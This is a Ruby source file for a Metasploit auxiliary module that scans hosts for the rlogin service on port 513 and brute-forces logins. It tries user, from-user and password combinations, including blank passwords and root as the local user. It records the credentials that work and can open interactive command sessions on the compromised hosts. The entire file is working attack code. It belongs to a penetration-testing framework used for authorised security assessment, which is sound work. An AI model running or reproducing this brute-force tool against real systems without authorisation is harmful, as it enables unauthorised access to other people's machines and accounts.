##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::RServices
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Login
  include Msf::Auxiliary::CommandShell

  def initialize
    super(
      'Name'        => 'rlogin Authentication Scanner',
      'Description' => %q{
          This module will test an rlogin service on a range of machines and
        report successful logins.

        NOTE: This module requires access to bind to privileged ports (below 1024).
      },
      'References' =>
        [
          [ 'CVE', '1999-0651' ],
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'Author'      => [ 'jduck' ],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(513),
        OptString.new('TERM',  [ true, 'The terminal type desired', 'vt100' ]),
        OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ])
      ])
  end

  def run_host(ip)
    print_status("#{ip}:#{rport} - Starting rlogin sweep")

    # We make a first connection to assess initial state of the service. If the
    # service isn't available, we don't even bother to try further attempts against
    # this host. Also, bind errors shouldn't happen and are treated as fatal here.
    status = connect_from_privileged_port
    return :abort if [ :refused, :bind_error ].include? status

    begin
      each_user_fromuser_pass { |user, fromuser, pass|
        ret = try_user_pass(user, fromuser, pass, status)
        status = nil
        ret
      }
    rescue ::Rex::ConnectionError
      nil
    end
  end

  def each_user_fromuser_pass(&block)
    # Class variables to track credential use (for threading)
    @@credentials_tried = {}
    @@credentials_skipped = {}

    credentials = extract_word_pair(datastore['USERPASS_FILE'])

    translate_proto_datastores()

    users = load_user_vars(credentials)
    fromusers = load_fromuser_vars()
    passwords = load_password_vars(credentials)

    cleanup_files()

    if datastore['BLANK_PASSWORDS']
      credentials = gen_blank_passwords(users, credentials)
    end

    credentials.concat(combine_users_and_passwords(users, passwords))
    credentials.uniq!

    # Okay, now we have a list of credentials to try. We want to merge in
    # our list of from users for each user.
    indexes = {}
    credentials.map! { |u,p|
      idx = indexes[u]
      idx ||= 0

      pa = nil
      if idx >= fromusers.length
        pa = [ nil, p ]
      else
        pa = [ fromusers[idx], p ]
        indexes[u] = idx + 1
      end
      [ u, pa ]
    }

    # If there are more fromusers than passwords, append nil passwords, which will be handled
    # specially by the login processing.
    indexes.each_key { |u|
      idx = indexes[u]
      while idx < fromusers.length
        credentials << [ u, [ fromusers[idx], nil ] ]
        idx += 1
      end
    }
    indexes = {}

    # We do a second uniq! pass in case we added some dupes somehow
    credentials.uniq!

    fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"]

    credentials.each do |u, fupw|
      break if @@credentials_skipped[fq_rest]

      fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u]

      userpass_sleep_interval unless @@credentials_tried.empty?

      next if @@credentials_skipped[fq_user]
      next if @@credentials_tried[fq_user] == fupw

      fu,p = fupw
      ret = block.call(u, fu, p)

      case ret
      when :abort # Skip the current host entirely.
        break

      when :next_user # This means success for that user.
        @@credentials_skipped[fq_user] = fupw
        if datastore['STOP_ON_SUCCESS'] # See?
          @@credentials_skipped[fq_rest] = true
        end

      when :skip_user # Skip the user in non-success cases.
        @@credentials_skipped[fq_user] = fupw

      when :connection_error # Report an error, skip this cred, but don't abort.
        vprint_error "#{datastore['RHOST']}:#{datastore['RPORT']} - Connection error, skipping '#{u}':'#{p}' from '#{fu}'"

      end
      @@credentials_tried[fq_user] = fupw
    end
  end


  def try_user_pass(user, luser, pass, status = nil)
    luser ||= 'root'

    vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':#{pass.inspect} from '#{luser}'"

    this_attempt ||= 0
    ret = nil
    while this_attempt <= 3 and (ret.nil? or ret == :refused)
      if this_attempt > 0
        # power of 2 back-off
        select(nil, nil, nil, 2**this_attempt)
        vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':#{pass.inspect} from '#{luser}' due to reset"
      end
      ret = do_login(user, pass, luser, status)
      this_attempt += 1
    end

    case ret
    when :no_pass_prompt
      vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt"
      return :skip_user

    when :busy
      vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to busy state"

    when :refused
      vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to connection refused."

    when :skip_user
      vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests"
      return :skip_user

    when :success
      # session created inside do_login, ignore
      return :next_user

    else
      if login_succeeded?
        start_rlogin_session(rhost, rport, user, luser, pass, @trace)
        return :next_user
      end
    end

    # Default to returning whatever we got last..
    ret
  end


  def do_login(user, pass, luser, status = nil)
    # Reset our accumulators for interacting with /bin/login
    @recvd = ''
    @trace = ''

    # We must connect from a privileged port. This only occurs when status
    # is nil. That is, it only occurs when a connection doesn't already exist.
    if not status
      status = connect_from_privileged_port
      return :refused if status == :refused
    end

    # Abort if we didn't get successfully connected.
    return :abort if status != :connected

    # Send the local/remote usernames and the desired terminal type/speed
    sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00")

    # Read the expected nul byte response.
    buf = sock.get_once(1) || ''
    return :abort if buf != "\x00"

    # NOTE: We report this here, since we are awfully convinced now that this is really
    # an rlogin service.
    report_service(
      :host => rhost,
      :port => rport,
      :proto => 'tcp',
      :name => 'login'
    )

    # Receive the initial response
    Timeout.timeout(10) do
      recv
    end

    if busy_message?
      self.sock.close unless self.sock.closed?
      return :busy
    end

    # If we're not trusted, we should get a password prompt. Otherwise, we might be in already :)
    if login_succeeded?
      # should we report a vuln here? rlogin allowed w/o password?!
      print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.")
      start_rlogin_session(rhost, rport, user, luser, nil, @trace)
      return :success
    end

    # no password to try, give up if luser isnt enough.
    if not pass
      vprint_error("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' failed (no password to try)")
      return :fail
    end

    # Allow for slow echos
    1.upto(10) do
      recv(self.sock, 0.10) unless @recvd.nil? || password_prompt?(@recvd)
    end

    vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")

    # Not successful yet, maybe we got a password prompt.
    if password_prompt?(user)
      send_pass(pass)

      # Allow for slow echos
      1.upto(10) do
        recv(self.sock, 0.10)
        break if login_succeeded?
      end

      vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")

      if login_succeeded?
        print_good("#{target_host}:#{rport}, rlogin '#{user}' successful with password #{pass.inspect}")
        start_rlogin_session(rhost, rport, user, nil, pass, @trace)
        return :success
      else
        return :fail
      end
    else
      if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
        return :succeeded # intentionally not :success
      else
        self.sock.close unless self.sock.closed?
        return :no_pass_prompt
      end
    end

  # For debugging only.
  #rescue ::Exception
  #	print_error("#{$!}")

  ensure
    disconnect()
  end

  def start_rlogin_session(host, port, user, luser, pass, proof)
    service_data = {
      address: host,
      port: port,
      service_name: 'rlogin',
      proof: proof,
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      username: user
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    if pass
      service_data.merge!(:pass => pass)
      credential_data.merge!('PASSWORD' => pass)
      info = "RLOGIN #{user}:#{pass} (#{host}:#{port})"
    else
      service_data.merge!(:luser => luser)
      credential_data.merge!('FROMUSER'=> luser)
      info = "RLOGIN #{user} from #{luser} (#{host}:#{port})"
    end

    create_credential_login(login_data)
    if datastore['CreateSession']
      start_session(self, info, login_data, false, self.sock)
      # Don't tie the life of this socket to the exploit
      self.sock = nil
    end
  end
end
